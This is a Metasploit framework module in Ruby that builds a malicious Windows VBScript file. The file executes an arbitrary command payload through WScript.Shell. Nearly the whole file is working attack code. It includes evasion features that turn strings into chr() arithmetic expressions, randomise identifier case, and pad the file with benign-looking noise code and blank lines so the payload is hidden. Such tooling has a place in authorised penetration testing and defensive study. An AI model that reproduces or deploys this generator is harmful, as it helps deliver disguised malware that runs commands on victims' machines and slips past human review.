##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::FILEFORMAT

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Malicious Windows Script Host VBScript (.vbs) File',
        'Description' => %q{
          This module creates a Windows Script Host (WSH) VBScript (.vbs) file.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'bcoles'
        ],
        'References' => [
          ['ATT&CK', Mitre::Attack::Technique::T1204_002_MALICIOUS_FILE],
        ],
        'Arch' => [ARCH_CMD],
        'Platform' => 'win',
        'Payload' => {
          'Space' => 8_000, # 8190 maximum command length, minus some space for "cmd.exe /c " and escaping
          'BadChars' => "\x00",
          'DisableNops' => true
        },
        'Targets' => [
          [
            'Microsoft Windows 98 or newer', {}
          ],
        ],
        'Privileged' => false,
        'DisclosureDate' => '1998-06-25', # Windows 98 release date
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'DisablePayloadHandler' => true
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [SCREEN_EFFECTS]
        }
      )
    )

    register_options([
      OptString.new('FILENAME', [true, 'The VBScript file name.', 'msf.vbs']),
      OptBool.new('OBFUSCATE', [false, 'Enable VBScript obfuscation', true])
    ])

    register_advanced_options([
      OptBool.new('PrependBenignCode', [false, 'Prepend several lines of benign code at the start of the file.', true]),
      OptInt.new('PrependNewLines', [false, 'Prepend new lines before the malicious VBScript.', 100]),
    ])
  end

  # Returns a random math expression evaluating to input int
  #
  # @param [Integer] int input integer
  #
  # @return [String] math expression evaluating to input int
  def generate_number_expression(int)
    case rand(4)
    when 0 # Sum
      a = rand(0..int)
      b = int - a
      "(#{a}+#{b})"
    when 1 # Difference
      r1 = int + rand(1..10)
      r2 = r1 - int
      "(#{r1}-#{r2})"
    when 2 # Product (only if divisible)
      divisors = (1..int).select { |d| (int % d).zero? }
      if divisors.size > 1
        d = divisors.sample
        "(#{d}*#{int / d})"
      else
        "(#{int}+0)"
      end
    when 3 # Quotient
      r2 = rand(1..10)
      r1 = int * r2
      "(#{r1}/#{r2})"
    end
  end

  # Return VBScript code with all strings split into chunks and concatenated
  #
  # @param [String] vbscript VBScript code
  #
  # @return [String] VBScript code with chunked strings
  def chunk_vbscript_strings(vbscript)
    vbscript.gsub(/"([^"]+)"/) do
      original = Regexp.last_match(1)
      chunks = []

      i = 0
      while i < original.length
        chunk_size = rand(1..5)
        chunks << "\"#{original[i, chunk_size]}\""
        i += chunk_size
      end

      chunks.join(' & ')
    end
  end

  # Build a series of benign VBScript noise blocks
  #
  # @param [Integer] block_count Number of blocks to generate
  #
  # @return [String] block_count blocks of inert VBScript
  def generate_vbscript_noise(block_count = 0)
    lines = []

    block_count.times do
      case rand(4)
      when 0 # Dummy variable declarations and assignments
        v1 = rand_text_alpha(6..16)
        v2 = rand_text_alpha(6..16)
        a = rand(0..100)
        b = rand(0..100)
        lines << "Dim #{v1}, #{v2}"
        lines << "#{v1} = #{a}"
        lines << "#{v2} = #{b}"
      when 1 # Dummy Function
        fname = rand_text_alpha(6..16)
        arg = rand_text_alpha(6..16)
        mult = rand(1..5)
        lines << "Function #{fname}(#{arg})"
        lines << "    #{fname} = #{arg} * #{mult}"
        lines << 'End Function'
      when 2 # Dummy Sub
        sname = rand_text_alpha(6..16)
        arg = rand_text_alpha(6..16)
        mult = rand(1..5)
        lines << "Sub #{sname}(#{arg})"
        lines << "    #{sname} = #{arg} * #{mult}"
        lines << 'End Sub'
      when 3 # Dummy For loop
        idx = rand_text_alpha(6..16)
        max = rand(1..5)
        lines << "Dim #{idx}"
        lines << "For #{idx} = 1 To #{max}"
        lines << "    #{idx} = #{idx} + 0"
        lines << 'Next'
      end
    end

    lines.join("\r\n")
  end

  # Obfuscate string literals and integer literals
  #
  # @param [String] vbscript VBScript code to be obfuscated
  #
  # @return [String] Obfuscated VBScript
  def obfuscate_vbscript(vbscript)
    obfuscated = vbscript.dup

    # Obfuscate strings
    obfuscated = chunk_vbscript_strings(obfuscated)
    obfuscated.gsub!(/"((?:[^"]|"")*)"/) do
      raw = ::Regexp.last_match(1).gsub('""', '"')
      raw.chars.map { |c| "chr(#{generate_number_expression(c.ord)})" }.join(' & ')
    end

    # Obfuscate integers
    obfuscated.gsub!(/\b\d+\b/) do |num|
      generate_number_expression(num.to_i)
    end

    obfuscated
  end

  def generate_vbscript(command_string, prepend_benign_code: false, prepend_new_lines: 0, obfuscate: false)
    vbs = ''
    vbs << generate_vbscript_noise(rand(8..10)) if prepend_benign_code
    vbs << "\r\n" * prepend_new_lines

    escaped_payload = command_string.gsub('\\', '\\\\\\').gsub('"', '\\"')

    # If the payload contains " & " we presume it is a command string.
    #
    # TODO: Change this once Metasploit is able to inform a module that
    #       the specified ARCH_CMD payload is a string of commands
    #       (not a single command).
    if escaped_payload.include?(' & ')
      cmd = "cmd.exe /c #{escaped_payload}"
    else
      cmd = escaped_payload
    end

    shell_obj = 'WScript.Shell'.chars.map { |c| (rand(2) == 0 ? c.downcase : c.upcase) }.join
    vbs_payload = "CreateObject(\"#{shell_obj}\").Run(\"#{cmd}\")"
    if obfuscate
      vbs << obfuscate_vbscript(vbs_payload)
    else
      vbs << vbs_payload
    end

    vbs
  end

  def exploit
    vbs = generate_vbscript(
      payload.encoded,
      prepend_benign_code: datastore['PrependBenignCode'],
      prepend_new_lines: datastore['PrependNewLines'],
      obfuscate: datastore['OBFUSCATE']
    )
    file_create(vbs)
  end
end